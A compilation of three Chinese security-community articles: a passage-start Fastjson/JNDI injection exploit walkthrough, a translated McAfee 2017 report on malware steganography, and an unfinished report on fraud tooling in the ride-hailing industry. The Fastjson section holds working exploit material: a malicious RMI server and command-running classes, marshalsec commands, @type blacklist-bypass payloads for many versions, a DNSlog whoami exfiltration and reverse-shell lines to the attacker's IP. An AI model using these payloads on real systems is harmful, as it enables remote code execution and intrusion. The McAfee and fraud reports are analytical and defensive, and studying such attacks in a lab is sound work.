Interface），在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象，RMI注册的服务可以通过JNDI接口来访问和调用。
JNDi是应用程序设计的Api，JNDI可以根据名字动态加载数据，支持的服务主要有以下几种：
DNS、LDAP、CORBA对象服务、RMI
### 1.2 利用JNDI References进行注入
对于这个知识点，我们需要先了解RMI的作用。
首先RMI（Remote Method
Invocation）是专为Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java
Remote Message Protocol ，Java
远程消息交换协议)，该协议为Java定制，要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外，还可通过References类来绑定一个外部的远程对象，当RMI绑定了References之后，首先会利用Referenceable.getReference()获取绑定对象的引用，并在目录中保存，当客户端使用lookup获取对应名字时，会返回ReferenceWrapper类的代理文件，然后会调用getReference()获取Reference类，最终通过factory类将Reference转换为具体的对象实例。
服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// Reference需要传入三个参数(className,factory,factoryLocation)
// 第一个参数随意填写即可，第二个参数填写我们http服务下的类名，第三个参数填写我们的远程地址
Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
// ReferenceWrapper包裹Reference类，使其能够通过RMI进行远程访问
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
从ReferenceWrapper源码可以看出，该类继承自UnicastRemoteObject，实现对Reference的包裹，使其能够通过RMI进行远程访问
客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8000/refObj");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
如果我们可以控制JNDI客户端中传入的url，就可以起一个恶意的RMI，让JNDI来加载我们的恶意类从而进行命令执行。
我们来看一下References，References类有两个属性，className和codebase
url，className就是远程引用的类名，codebase决定了我们远程类的位置，当本地classpath中没有找到对应的类的时候，就会去请求codebase地址下的类（codebase支持http协议），此时如果我们将codebase地址下的类换成我们的恶意类，就能让客户端执行。
ps：在java版本大于1.8u191之后版本存在trustCodebaseURL的限制，只能信任已有的codebase地址，不再能够从指定codebase中下载字节码。
整个利用流程如下
1.首先开启HTTP服务器，并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标（JNDI_Client）在执行lookup操作的时候，在decodeObject中将ReferenceWrapper变成Reference类，然后远程加载并实例化我们的Factory类（即远程加载我们HTTP服务器上的恶意类），在实例化时触发静态代码片段中的恶意代码
## 2.FastJson渗透总结
1.反序列化常用的两种利用方式，一种是基于rmi，一种是基于ldap。
2.RMI是一种行为，指的是Java远程方法调用。
3.JNDI是一个接口，在这个接口下会有多种目录系统服务的实现，通过名称等去找到相关的对象，并把它下载到客户端中来。
4.ldap指轻量级目录服务协议。
存在Java版本限制：
基于rmi的利用方式：适用jdk版本：JDK 6u132，JDK 7u131，JDK 8u121之前；
在jdk8u122的时候，加了反序列化白名单的机制，关闭了rmi远程加载代码。
基于ldap的利用方式，适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中，Oracle对LDAP向量设置了相同的限制，并发布了CVE-2018-3149，关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的，实战情况下推荐使用ldap方法进行利用。
### 2.1 fastjson 1.2.24反序列化导致任意命令执行漏洞（CVE-2017-18349）
#### 漏洞原理
FastJson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
通俗理解就是：漏洞利用fastjson
autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大影响。
#### 影响版本
Fastjson < 1.2.25
#### 漏洞启动
靶机：Ubuntu ip：192.168.9.234 攻击机：kali ip：192.168.10.65
开启fastjson漏洞
docker-compose up -d
docker ps
访问靶机，可以看见json格式的输出：
因为是Java
8u102，没有com.sun.jndi.rmi.object.trustURLCodebase的限制，我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链，借助JNDI注入来执行命令。
在kali上执行下面这条命令，使用 curl命令模拟json格式的POST请求，返回json格式的请求结果，没报404，正常情况下说明存在该漏洞。
curl http://192.168.9.234:8090/ -H "Content-Type: application/json" --data '{"name":"zcc", "age":18}'
kali安装Javac环境，这里我已经安装好了
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
编译恶意类代码
import java.lang.Runtime;
import java.lang.Process;
public class zcc{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/zcctest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac zcc.java
搭建http服务传输恶意文件
python -m SimpleHTTPServer 80
编译并开启RMI服务:
> 1 下载marshalsec(我这里已经安装好）：
git clone https://github.com/mbechler/marshalsec.git
> 2 然后安装maven：
apt-get install maven
> 3 然后使用maven编译marshalsec成jar包，我们先进入下载的marshalsec文件中运行：
mvn clean package -DskipTests
> 4 然后我们借助marshalsec项目，启动一个RMI服务器，监听9999端口，这里的ip为你上面开启http服务的ip，我们这里就是kali的ip:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999
这里如果要启动LDAP服务的话，只需把上面命令中的RMI改成LDAP即可，例如：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.65/#zcc" 9999
可以看见请求成功，并加载了恶意类。
> 5 使用BP抓包，并写入poc(记住请求包里面请求方式改成post，Content-Type改成application/json)：
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.65:9999/zcc",
"autoCommit":true
}
}
可以看见成功写入。
这里我们用dnslog做一个小测试：
http://www.dnslog.cn/
直接覆盖原来得文件；
"/bin/sh","-c","ping user.'whoami'.jeejay.dnslog.cn"
点击send发送之后成功回显
反弹shell的话也只需修改恶意类中commands的内容即可，代码参考如下，建议用第二个，第二个前面带主机名，看起来舒服点，我这里用的第一个；
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.65/8899;cat <&5 | while read line; do $line 2>&5 >&5; done"
或者
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/1234 0>&1"
### 2.2 Fastjson 1.2.47远程命令执行漏洞
#### 漏洞原理
Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
#### 影响版本
Fastjson < 1.2.47
#### 漏洞启动
因为目标环境是openjdk：8u102，这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制，我们可以利用RMI进行命令执行。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class zcc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/zcctest111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
开启http服务
python -m SimpleHTTPServer 8080
借助marshalsec项目启动RMI服务器，监听9998端口，并制定加载远程类zcc.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999
发送payload,别忘了改Content-Type: application/json，可以看见成功写入，反弹shell的手段和上面1.2.24的一样：
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.65:9999/zcc",
"autoCommit":true
}
}
反弹shell；
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/8899 0>&1"
### 2.3 fastjson<=1.2.41漏洞详情
第一个Fastjson反序列化漏洞爆出后，阿里在1.2.25版本设置了autoTypeSupport属性默认为false，并且增加了checkAutoType()函数，通过黑白名单的方式来防御Fastjson反序列化漏洞，因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单，fastjson有个判断条件判断类名是否以"L"开头、以";"结尾，是的话就提取出其中的类名在加载进来，因此在原类名头部加L，尾部加;即可绕过黑名单的同时加载类。
exp：
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit",
"autoCommit":true
}
autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）
### 2.4 fastjson<=1.2.42漏洞详情
fastjson在1.2.42版本新增了校验机制。如果输入类名的开头和结尾是L和;就将头尾去掉再进行黑名单校验。绕过方法：在类名外部嵌套两层L和;。
原类名：com.sun.rowset.JdbcRowSetImpl
绕过：LLcom.sun.rowset.JdbcRowSetImpl;;
exp：
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exp",
"autoCommit":true
}
autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）
### 2.5 fastjson<=1.2.45漏洞详情
前提条件：目标服务器存在mybatis的jar包，且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过，org.apache.ibatis.datasource在1.2.46版本被加入了黑名单。
autoTypeSupport属性为true才能使用。（fastjson>=1.2.25默认为false）
exp：
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
### 2.6 fastjson<=1.2.47漏洞详情
对版本小于1.2.48的版本通杀，autoType为关闭状态也可用。loadClass中默认cache为true，利用分2步，首先使用java.lang.Class把获取到的类缓存到mapping中，然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类，绕过了黑名单机制。
exp：
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:9999/exp",
"autoCommit": true
}
}
### 2.7 fastjson<=1.2.62漏洞详情
基于黑名单绕过exp：
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
### 2.8 fastjson<=1.2.66漏洞详情
也是基于黑名单绕过，autoTypeSupport属性为true才能使用，（fastjson>=1.2.25默认为false）以下是几个exp：
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
on":"ldap://192.168.80.1:1389/Calc"}} | 社区文章 |
# 【安全报告】McAfee Labs 威胁报告 2017.06 （中）
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[ureallyloveme](http://bobao.360.cn/member/contribute?uid=2586341479)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
[【安全报告】McAfee Labs 威胁报告 2017.06
（上）](http://bobao.360.cn/learning/detail/4090.html)
**不识庐山真面目： 隐写术面对的隐蔽威胁 — — Diwakar Dinkar**
隐写术是一门有关秘密隐藏的艺术和科学。该术语来自希腊词语stegos， 意为"涵盖“，而grafia，则 意为"写"。因此即为"涵盖着写"。
隐写术的概念并不新，它已流传了数百年。约公元前440年，希腊统治者Histiaeus使用过早期版本的隐写术，他找来剃光头的奴隶、在其头皮上纹上消息，等待头发再长出，能隐藏住秘密的消息，然后派遣他去传递消息。接收方再给他剃光头，以获取消息。另一个希腊人–Demaratus将波斯人计划袭击斯巴达的消息写在涂有蜡片的木板上，然后再覆盖上一层新的蜡，以看似用空白木板来传达的信息。当然还有许多用隐形墨水书写，或隐藏在情书中的秘密消息的故事。（比如说，每个句子的第一个字符可以用来拼写一个秘密。）在第二次世界大战期间，因为在欧洲邮件都是被仔细检查的，因此隐写术也曾被囚犯和士兵所使用。
**数字世界中的隐写术**
隐写术也可以在数字世界中用来隐藏信息。为了数字化隐藏秘密的消息，我们需要一个包装器或容器作为宿主文件。包装器可以是图像、音频轨道，视频剪辑或文本文件。下面的图片展示如何通过最小的文件变化和对图像的细微变化，将文本消息隐藏在封面图像的文件之中。
**隐写术、加密和水印**
隐写术、加密和水印都能用于隐藏信息。通过使用加密算法，并将其作为密文进行发送来隐藏消息。隐写术用看似常规合法的消息来隐藏秘密消息。水印则略有不同：它使用签名来标识起源，并用相同的方式标记所有的副本。这三种方法是最常见的、隐藏信息的方式。
**网络攻击中的隐写术**
恶意软件通过不断演变来规避监视和检测。为了规避检测，一些恶意软件使用数字化的隐写术，来将其恶意的内容隐藏在看似无害的封面文件之内。但是这就提出了一个显而易见的问题：如果恶意软件必须对其隐藏的数据进行解密，难道反恶意软件不能产生用于检测的解密例程吗？
大多数反恶意软件的签名，都到配置文件中检测恶意内容。通过隐写术，配置文件被嵌入到掩盖文件之中。而且，由此产生的隐写文件可能会被解密到主要内存中，进而降低了检测的机会。最后，这些隐藏信息都很难会被检测出来,
例如配置文件、二进制更新或是隐式文件内的僵尸命令。因此不幸的是：在网络攻击中，隐写术的使用是容易实现，但难以检测到的。
首次在网络攻击中用到隐写术的案例，是著名的Duqu 恶意软件，它是在2011年被发现的。Duqu 的主要目的是从受害者的系统中收集信息。Duqu
加密并将数据嵌入到JPEG 文件中，然后将其作为一个图像文件发送到它的控制服务器上，从而提高可信度。2014 年，研究人员发现了宙斯银行木马的变种
(Zeus banking Trojan，
ZeusVM)，它使用图像隐写术来隐藏其发送给被感染系统的命令。那年的晚些时候，我们也了解到Lurk使用隐写术来扩散额外的恶意软件。在Lurk的案例中，一个白色的BMP图像文件中包含加密的URL，它一旦被解密，就去下载第二个载荷。最近，图像隐写术还被发现用于
Stegoloader(也被称为Gatak)和其他不同的恶意活动。
**数字化隐写术的类型**
数字化隐写术可分为文本、图像、音频和视频隐写术。文本隐写术是最早、也是最难以使用的。它使用写出的自然语言来隐藏秘密信息。文本隐写术的挑战性在于它缺少对文本文档的冗余。音频隐写术通过难以察觉的方式修改音频信号来传送隐藏信息；同时它会将秘密消息作为一种在人类听觉范围之外频率的噪声嵌入到音频文件之中。例如，spread
spectrum隐写术一般通过无线电波来发送隐藏信息。同样地，在视频隐写术中，秘密信息被隐藏在视频流之中。
**图像隐写术**
图像是数字隐写术的最常见的使用方式。要理解基于图像的隐写术，我们需要了解数字图像的概念。图像通常是基于8位或24位颜色组合。每个像素通常由8位(1个字节)黑白图像或是24位(3个字节)彩色图像所组成。其用一个字节分别代表红、绿、蓝(通常称为RGB格式)。例如，RGB(218，150，149)意味着R=11011010,
G=10010110, B=10010101。
我们可以将图像隐写术分为如下几个大的领域：
在空间域技术中，我们可以通过直接操纵封面图像的像素值，来隐藏的秘密数据。最重要的bit–based隐写术是一个最流行、且简单的空间域技术。
变换域技术也称为频域技术，因为它涉及到封面图像的频率或在变换中嵌入秘密数据。这种技术是一种在图像中隐藏数据的、更复杂的方法。
在失真技术中，信号失真将秘密数据进行嵌入。该技术需要解码器端的封面图像的信息，因为它检查原始封面图像和失真覆盖图像之间的差异以提取秘密消息。
掩盖和过滤是另一种常见的隐写技术。通过修改图像某些部分的亮度或流明，它在封面图像上隐藏或掩盖秘密数据。
攻击者是如何在图像中隐藏消息的呢？我们可以通过下面给出的空间域的示例来理解隐藏的过程：
图 1：右手边列表中的红色数值被转换所改变。MSB 和 LSB 分别代表"最高有效位"和"最低有效位"。
隐写术嵌入算法可用来修改图像，改变最低有效位，以将字母"A"嵌入彩色图像中的三个像素之中。更改最低有效位是不易被觉察的，一旦受害者的系统上收到了该图像文件，它们就可以被解密，并被恶意软件所利用。
我们来总结一下数字化隐写的过程：
隐藏的消息和封面文件,通过嵌入算法在封面文件内隐藏消息。由此产生的隐写文件，通过通信通道发送到目标系统。最后，通过应用在隐写文件上的提取算法，来提取隐藏的信息。
**隐写术如何帮助利用工具包？**
现在，隐写术被用在多个恶意攻击和利用工具包中。Sundown利用工具包最早出现在 2015 年。那时，它还不是很高级，似乎剽窃了Angler,
Nuclear和RIG的大部分代码。在 2016 年 10 月，Sundown被演化，并开始被用到隐写术。
**Sundown 利用工具包最近的变种**
我们可以通过如下的感染链，来理解Sundown利用工具包最近的变种:
Sundown攻击发生在其受害者访问了被感染的网站，或是有恶意广告的网站之时。受害者自动被重定向到其利用工具包上。
下面的图像显示了发生在一月份的，受害者被重定向到Sundown登陆页面的网络流量。页面检索和下载了许多PNG图像。
图 2：在Sundown感染链中所用到的隐写术。
多数情况下，PNG文件都显示为一个白色的图片。
图 3：查看一个下载的恶意PNG文件。
即使是十六进制视图，也会显示为一个有正确的PNG头文件的PNG文件：
图 4：查看一个下载的恶意PNG文件的十六进制视图。
但是这个PNG文件的数据的确是被编码并隐藏了恶意代码。
Sundown工具的登陆页面包含着一个用于解锁PNG文件和提取恶意内容的解码例程。因此登陆页面被深度混淆过了。
图 5：用于解码 PNG 文件的模糊处理代码。
图 6: 混淆处理过的登陆页面代码。
该代码加载PNG文件，并有一个 URL去下载成功利用漏洞之后的载荷。解码的逻辑出现在脚本的末尾。
图 7：PNG 文件的解码逻辑。
在成功解码PNG之后, 我们可以看到了它的输出：
图 8：在解码PNG数据后，代码利用到漏洞CVE-2015-2419。
通过进一步对PNG图像的解码，和此漏洞攻击代码的分析显示，它包含了针对CVE-2015-2419，即在IE中JavaScript处理方面的漏洞攻击代码。此漏洞攻击代码也包含了成功利用此漏洞后执行的shellcode。
图 9：攻击CVE-2015-2419的shellcode。
此Sundown工具包还被发现能够分发来自IP地址93.190.143.82的，使用到隐写术的Cerber勒索软件。
有关本分析的SHA256散列为：
A5E991B647BC60A9323A214C71146F534D4195182C3C630B228 3BF1D3CEC8D6D
EFB5308AA78FFD53E799F7411CC92A564219C27B15D630B6BFA EC674DF8B5923
EEDBD8CDDBA5ED59D86207E37252406E2E1DB1762098A6293E A25762E555E75B
**Cerber隐藏在.jpg 文件中**
Cerber勒索软件族目前非常流行。最初的传播载体是在Microsoft 文档中嵌入的宏代码。
图 10：当受害人打开Cerber感染的文档时，它会投放一个恶意的.vbs文件，作用是使用一个可执行文件wscript.exe，并从恶意网站下载
mhtr.jpg。
图 11：该网络捕获显示了mhtr.jpg的请求。
图 12：下载的mhtr.jpg (SHA256 哈希值： 8f14257937bd6d45c2455592614331ebb
10078d8bfd9e6acf1b502ed609ef131) 表明它与Zen Coding有关。
图 13: mhtr.jpg的标头。
图 14： 单个XOR 字节的密钥被用来加密可执行文件，并使用隐写术嵌入到偏移量0x25c9。
偏移量0x25c9每个字节都使用XOR字节的密钥0x73进行加密。其解密过程为：
图 15： 解密后的文件。
加密的文件的有效载荷是一个Nullsoft安装程序文件 (SHA256 哈希值：
37397f8d8e4b3731749094d7b7cd2cf56cacb12dd69e0131f07dd78dff6f262b)，它被放置在%APPDATA%文件夹中，并用于勒索活动。
**Zbot、Vawtrak、Stegoloader和Stegoloader所用到的隐写术**
在2015年的早期，Vawtrak开始使用隐写术来隐藏其图标中的设置。恶意软件使用tor2web服务，从TOR上托管服务器里下载favicon.ico文件。该favicon.ico图像显示在浏览器URL的左边。一般来说，每个网站都包含一个.ico图标，所以看到这类请求的安全产品通常不测试它们的有效性。接下来，恶意软件提取每个像素的最低有效位，并构造一个URL，用以下载其配置文件。
Zbot 恶意软件的一个变种还使用隐写术来隐藏其配置的数据。这种变体在受害者的系统上下载
JPEG。配置数据就隐藏在该图像中。之后，恶意软件从图像中提取配置数据，并进一步执行恶意操作。
Lurk使用隐写术来下载其他恶意软件到目标系统上。并非简单地下载和执行恶意的二进制文件，Lurk首先下载一个BMP图像。它使用最高有效位算法，在图像文件中嵌入加密的URLs。它从图像文件中提取嵌入的URLs，然后再下载额外的恶意软件。
Stegoloader
安装恶意软件到受害者的系统上，以窃取敏感信息。一旦成功执行，Stegoloader会从一个合法的网站下载一个PNG图像。它使用隐写术将其主要模块的代码嵌入到已下载PNG内。恶意软件通过应用隐写的提取算法，来检索隐藏的数据。
**数据渗出和隐写术**
数据渗出，也称为数据盗窃，是将敏感信息从一台计算机或服务器，以未经授权的方式进行转移。2016年，我们注意到了和Magento有关的攻击，它发生在一个在线的电子商务平台。此类袭击使用图像隐写术来隐藏支付卡的详细信息。
一般情况下，Magento
网站用核心内容管理系统文件–cc.php，来将处理信用卡信息。因此攻击者能够将恶意代码放在Magento网站的[magento_root] /app/
code/core/Mage/Payment/Model/Method/cc.php，这样明显位置。
图 16：一个合法的prepareSave （）方法。
通常，恶意软件将恶意代码插入到prepareSave
（）方法里，当然它可能会出现在任何其他的方法里。在执行之后，恶意代码收集支付卡的详细信息，并隐藏在本地的图像文件中，比如说真正的产品图片里。一旦完成收集，攻击者只需下载图像文件（典型场景是电子商务网站），然后再提取隐藏的数据。
**网络隐写术**
网络隐写术是目前恶意软件使用到的最新型的数字隐写术。这种形式正在成上升趋势，因为攻击者可以通过网络发送无限数量的信息。一些恶意软件作者使用TCP/IP
协议标头里未使用到的字段来隐藏数据。
在某些情况下，恶意软件将其控制服务器的流量隐藏在简单的DNS和HTTP请求里。恶意软件从硬编码DNS服务器，即一台真实的控制服务器上向不存在的域发送请求。在内部DNS响应中通过使用简单Base64编码技术，这些命令会被嵌入并混淆。
我们分析了TeslaCrypt，它使用HTTP错误消息来隐藏其通信，并且通过Neutrino的利用工具包被下载。
图 17： 最初，TeslaCrypt 勒索的载荷通过带有"404"错误消息的、且经过Base64编码的消息与远程服务器通信。
该HTML页面的评论部分是被Base64编码的。我们发现“<!—c3VjY2Vzcw==—>,”对于响应的解码就是"成功"的。
然后，恶意软件用下面的编码数据来予以响应，如下图所示。
图 18-19： 恶意软件成功感染的响应。
图 20： 在答复中，恶意软件接收另一个带有下载链接的、Base64编码过的404错误消息。
已解码的字符串具有以下格式：
**结论**
隐写术将继续变得越来越流行。它是一种古老的技术，却又一次证明其有效性。因为隐写术可以经常绕过反恶意软件的检测，可见会有更多的威胁将使用到这种技术。
**策略和流程**
为了防止内部的威胁，加强使用的软件交付和分发机制。维护一个受信任的、企业应用程序的中央存储库，用户可以在那里下载到经过批准的软件。同时也禁止用户下载未知来源的软件。
在图像编辑软件的帮助下，寻找图像上细微的、颜色差异之类的隐写术标记。而且，要注意图像中大量重复的颜色，那可能就是隐写攻击的指示。
控制隐写软件的使用。应该禁止在任何公司的系统上存在隐写软件，除非有着具体所需的业务目的。只允许在受限的网段中部署此类软件。
只安装来自受信任供应商的、具有信任签名的应用程序。
配置反恶意软件以检测捆绑。反恶意软件应被配置为能够识别出可能包含有隐写图像的binder是否存在。
如果隐写攻击已成功，一个结合了适当网络分段的、虚拟化的架构可能有助于遏制其爆发，因为虚拟化系统会用到安全和可核查启动进程，以及连续的网络流量监测能够有助于隔离各种应用程序。
监控出站的流量。通过监测出站流量，来识别那些得逞的隐写攻击是否存在。
传送门
[【安全报告】McAfee Labs 威胁报告 2017.06
（上）](http://bobao.360.cn/learning/detail/4090.html) | 社区文章 |
# 2020上半年出行行业黑灰产研究报告
##### 译文声明
本文是翻译文章，文章原作者 安全情报星球，文章来源：安全情报星球
原文地址：<https://mp.weixin.qq.com/s/sQJRZZonTF7bjCs1jd_H9A>
译文仅供参考，具体内容表达以及含义原文为准。
转载：[安全情报星球](https://mp.weixin.qq.com/s/sQJRZZonTF7bjCs1jd_H9A)
## 报告声明
文章由安全情报星球原创发布，未经授权不允许转载。如需转载本篇报告文字／图表／观点，请后台留言与我们联系。违反上述声明者，将追究相关法律责任。全文预计阅读时间15分钟，感谢。
## 报告背景
衣食住行渗透在每个国民的日常生活，随着我国经济水平的快速发展及国民生活水平的提升，对于出行有了更高的要求。在庞大需求的刺激下，出行服务的公司如雨后春笋般崛起，提供打车，租车，顺风车等各类便捷出行服务。
为了快速占领市场，各出行企业平台陆续推出了用户优惠补贴，司机入住奖励等多种活动，依附于该行业的黑灰产业链分工明确，合作紧密已发展成一定规模。当大量用户涌入平台时，是敌是友一时难以分辨，暗流涌动之下多家企业平台已遭受攻击。
报告将围绕出行打车行业的黑产产业链分布，攻击手法还原，典型作弊工具分析，黑产变化趋势等多个角度，阐述出行打车行业2020年黑产最新动态。希望本报告能给该行业的安全风控从业者带来一些防控体系建设新思路。
## 报告重点
* 报告中提到的攻击数据来自20+出行企业，截取头部企业做为案例分析。
* 当前黑产的攻击目标仍为出行行业的一些头部企业，攻击占比高达54.45%。
* 第三方打车平台，如高*地图/腾*地图正在逐渐成为黑产攻击的目标。
* 攻击出行平台所需要的各类料子信息（包含身份认证，信用卡，支付绑定等）所有料子全部购买只需6元。
## 一、出行行业现状
共享出行已是大众出行常用方式，资本逐利下2020年上半年又涌现了好几家出行服务平台，业务部门推出多种营销活动以促进拉新率及留存率，有利益的地方就有黑产，此类现金烧钱业务场景下催生了拉新助力提现和代下单灰色服务，此类攻击上游黑产资源稳定，下游可直接／间接通过论坛、社交、发卡平台等渠道变现，攻击各家出行平台方式虽不同，下游获利变现渠道基本一致。
平台业务的布局、风控系统的健壮性等因素决定了黑产攻击的门槛。从2020年上半年出行行业线下的虚假注册情况可分析得出，当前黑产的攻击目标仍为出行行业头部企业，占比高达54.45%。而从数据中我们也可以看到，后加入的第三方打车平台，如高*地图/腾*地图正在逐渐成为黑产攻击的目标。
「2020上半年出行行业虚假注册占比」
从接码平台对接项目的数量来看，与虚假注册的数据趋势保持一致。
「2020上半年出行行业对接项目占比」
对黑产常攻击的几家出行平台，当前／历史开展的营销活动进行对比，结果如下表格所示：
a.新用户营销活动
「部分出行行业新用户营销活动福利」
b.助力营销活动
「部分出行行业助力营销活动福利」
从上表可看出，对于新用户的拉新及老用户的留存各平台都投入了较多营销预算，这也是吸引众多黑产加入出行行业的原因。
## 二、出行行业风险分布
出行行业司机端的业务风险主要为抢单、刷单、账号解封、代开户、实名认证等，主要针对具有庞大司机群体的出行平台，随着出行平台的严厉打击，此类业务风险较前几年相比已很难形成规模化产业链。除个别头部企业，由于前期账号体系较为简易，导致市场存量黑号较多。
目前用户端是整个出行行业的重灾区，从注册登录到营销、下单、交易，整个流程存在不同的业务风险。
业务场景 | 业务风险 | 作弊方式
---|---|---
注册登录 | 扫号、撞库、垃圾注册、虚假注册 | 自动化软件 / 人工
营销 | 虚假裂变、真人作弊 | 自动化软件 / 人工
下单 | 认证绕过、实名伪造、代下单 | 人工
支付&绑卡 | 预支付绕过、冒名代绑、黑卡支付 | 人工
有钱赚的地方就有黑产，依附于出行市场下的黑色产业链已初具雏形。
## 三、出行行业常见黑产产业链
「出行行业黑色产业链」
注：新型众包平台与传统众包平台的区别已在公众号历史发表文章中单独做过详细分析，不再此报告中展开。
上游工具资源稳定，下游变现方式多样，整个产业链已经呈现规划化、可复制化的趋势。提现、兑换、卖号等变现方式与常规无异，对于代叫服务，我们在此前的文章中针对此类变现方式有专门的分析，成功打车后弃号是变现的必经途径。
「社交平台未支付订单提醒」
## 四、出行行业常用黑产资源
黑产作案离不开各种资源，出行平台的特点及业务薄弱点决定了黑产使用的资源和工具，通常情况下，黑产会利用成熟的工具及资源作案。
### 1.IP资源
IP是绕不过的黑产资源。目前黑产所使用的IP主要为代理IP和秒拨IP两类，通常情况下，黑产会通过更换当前IP隐藏自己真实的IP，以绕过出行平台IP维度相关的风控策略。
移动端可通过代理类APP切换当前上网IP，近期黑产常用的代理APP有爱加速、豌豆代理等。
「爱加速代理」
web端可购买代理IP网站提供的IP，或通过VPS拨号换IP。代理IP网站可以API形式批量输出IP，便于黑产集成在自动化软件中，常见的有熊猫代理、芝麻代理等。
「91VPS官网」
而拨号VPS已成为一条成熟的产业链，随便打开一个VPS网站都可以看到如下信息，适用于营销、挂机等场景，符合黑产需求，自动化软件运行在VPS中即可切换IP，薅羊毛必备。
「某VPS官网」
### 2.号码资源
号码资源已经是非常成熟的黑色产业链，而黑产通常走接码平台或线下对接的形式获取号码资源，用于批量注册账号。目前市面上活跃的接码平台有：海豚云、番茄云等。
「番茄云接码平台官网」
